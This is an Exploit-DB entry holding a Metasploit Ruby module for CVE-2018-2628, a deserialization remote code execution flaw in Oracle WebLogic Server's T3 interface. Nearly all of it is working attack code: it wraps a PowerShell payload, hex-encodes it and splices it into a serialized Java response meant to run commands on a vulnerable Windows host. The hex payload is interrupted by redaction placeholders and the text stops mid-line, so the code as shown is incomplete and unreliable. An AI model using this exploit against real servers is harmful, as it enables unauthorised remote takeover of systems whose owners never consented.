Exploit-DB #45193
Description: Oracle Weblogic Server - Deserialization Remote Code Execution (Metasploit)
Type: remote
Platform: windows
Date: 2018-08-13
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Powershell

  def initialize(info={})
    super(update_info(info,
      'Name' => 'Oracle Weblogic Server Deserialization RCE',
      'Description' => %q{
        An unauthenticated attacker with network access to the Oracle Weblogic
        Server T3 interface can send a serialized object to the interface to
        execute code on vulnerable hosts.
      },
      'Author' =>
        [
        'brianwrf',     # EDB PoC
        'Jacob Robles'  # Metasploit Module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2018-2628'],
          ['EDB', '44553']
        ],
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Windows',
            {
              'Platform' => ['win']
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DefaultOptions' =>
        {
          'RPORT' => 7001
        },
      'DisclosureDate' => 'Apr 17 2018'))
  end

  def gen_resp
    pwrshl = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
    pwrshl.gsub!("%COMSPEC%", "cmd.exe")
    tmp_dat = pwrshl.each_byte.map {|b| b.to_s(16)}.join

    mycmd = (tmp_dat.length >> 1).to_s(16).rjust(4,'0')
    mycmd << tmp_dat

    # Response data taken from JRMPListener generated data:
    # java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener <lport> CommonsCollections1 'calc.exe'
    # Modified captured network traffic bytes. Patch in command to run
    @resp = '51aced0005770f02086f5ef[PII_REDACTED]a67984d[PII_REDACTED]2e6a617661782e'
    @resp << '6d616e6167656d656e742e[PII_REDACTED][PII_REDACTED]746556616c[PII_REDACTED]45'
    @resp << '[PII_REDACTED]696f6ed4e7daab632d[PII_REDACTED]4c000376616c7400124c6a6176'
    @resp << '612f6c616e672f4f626a6563743b[PII_REDACTED]6a6176612e6c616e672e457863'
    @resp << '657074696f6ed0fd1f3e1a3b1cc[PII_REDACTED]87200136a6176612e6c616e672e'
    @resp << '5468726f7761626c65d5c635273977b8cb0300044c[PII_REDACTED][PII_REDACTED]4c'
    @resp << '6a6176612f6c616e672f5468726f7761626c653b4c000d[PII_REDACTED]6c4d6573'
    @resp << '[PII_REDACTED]00124c6a6176612f6c616e672f537472696e673b5b000a73746163'
    @resp << '6b[PII_REDACTED]74001e5b4c6a6176612f6c616e672f537461636b[PII_REDACTED]45'
    @resp << '6c656d656e743b4c[PII_REDACTED][PII_REDACTED][PII_REDACTED]657074696f6e737400'
    @resp << '104c6a6176612f7574696c2f4c6973743b[PII_REDACTED]7e[PII_REDACTED]001e5b4c'
    @resp << '6a6176612e6c616e672e537461636b[PII_REDACTED]456c656d656e743b02462a3c'
    @resp << '3cfd[PII_REDACTED][PII_REDACTED][PII_REDACTED]1b6a6176612e6c616e672e53746163'
    @resp << '6b[PII_REDACTED]456c656d656e746109c59a2636dd[PII_REDACTED]000a6c696e654e'
    @resp << '756d6265724c000e6465636c6172696e67436c[PII_REDACTED]7e00054c00086669'
    @resp << '6c654e616d6571007e00054c000a6d6574686f644e616d6571007e[PII_REDACTED]'
    @resp << '0000011b74001e79736f[PII_REDACTED]6c2e6578706c6f69742e4a524d504c6973'
    @resp << '74656e[PII_REDACTED]4a524d504c697374656e65722e6a[PII_REDACTED]06646f4361'
    @resp << '6c6c7371007e000b000000e071007e000d71007e000e740009646f4d65737361'
    @resp << '[PII_REDACTED]7e000b000000ab71007e000d71007e000e[PII_REDACTED]6e7371007e'
    @resp << '000b[PII_REDACTED]007e000d71007e000e7400046d61696e737200266a6176612e'
    @resp << '7574696c2e436f6c6c656374696f6e7324556e6d6f[PII_REDACTED]626c654c6973'
    @resp << '74fc0f2531b5ec8e100200014c00046c[PII_REDACTED]7e[PII_REDACTED]002c6a6176'
    @resp << '612e7574696c2e436f6c6c656374696f6e7324556e6d6f[PII_REDACTED]626c6543'
    @resp << '6f6c6c656374696f6e19420080cb5ef71e0200014c[PII_REDACTED]164c6a617661'
    @resp << '2f7574696c2f436f6c6c656374696f6e3b[PII_REDACTED]00136a6176612e757469'
    @resp << '6c2e[PII_REDACTED]4c[PII_REDACTED]d21d99c7619d[PII_REDACTED]0473697a65707870'
    @resp << '[PII_REDACTED][PII_REDACTED]7871007e001b[PII_REDACTED]73756e2e7265666c656374'
    @resp << '2e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e'
    @resp << '48616e646c657255caf50f15cb7ea50200024c000c6d656d[PII_REDACTED]6c7565'
    @resp << '7374000f4c6a6176612f7574696c2f4d61703b4c[PII_REDACTED]657400114c6a61'
    @resp << '76612f6c616e672f436c6173733b707870737d[PII_REDACTED]0d6a6176612e7574'
    @resp << '696c2e4d[PII_REDACTED]66696c653a2f746d702f73732e6a[PII_REDACTED]176a6176'
    @resp << '612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c'
    @resp << '[PII_REDACTED]254c6a6176612f6c616e672f7265666c6563742f496e766f636174'
    @resp << '696f6e48616e646c65723b[PII_REDACTED]007e001c7372002a6f72672e61706163'
    @resp << '68652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d'
    @resp << '61706ee594829e[PII_REDACTED]014c[PII_REDACTED]746f727974002c4c6f72672f61'
    @resp << '[PII_REDACTED]2f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e7366'
    @resp << '6f726d65723b[PII_REDACTED]6c653a2f746d702f73732e6a[PII_REDACTED]72003a6f'
    @resp << '72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e6675'
    @resp << '6e63746f72732e436861696e[PII_REDACTED]6e73666f726d657230c797ec287a97'
    @resp << '040200015b000d695472616e73666f726d[PII_REDACTED]2d5b4c6f72672f617061'
    @resp << '6368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f72'
    @resp << '6d65723b[PII_REDACTED]6c653a2f746d702f73732e6a[PII_REDACTED]72002d5b4c6f'
    @resp << '72672e[PII_REDACTED]652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472'
    @resp << '616e73666f726d65723bbd562af1d[PII_REDACTED][PII_REDACTED]6696c653a2f746d'
    @resp << '702f73732e6a[PII_REDACTED][PII_REDACTED]003b6f72672e[PII_REDACTED]652e636f6d'
    @resp << '6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e737461'
    @resp << '6e745472616e73666f726d[PII_REDACTED]114102b[PII_REDACTED]c000969436f6e73'
    @resp << '74616e7471007e[PII_REDACTED]66696c653a2f746d702f73732e6a[PII_REDACTED]72'
    @re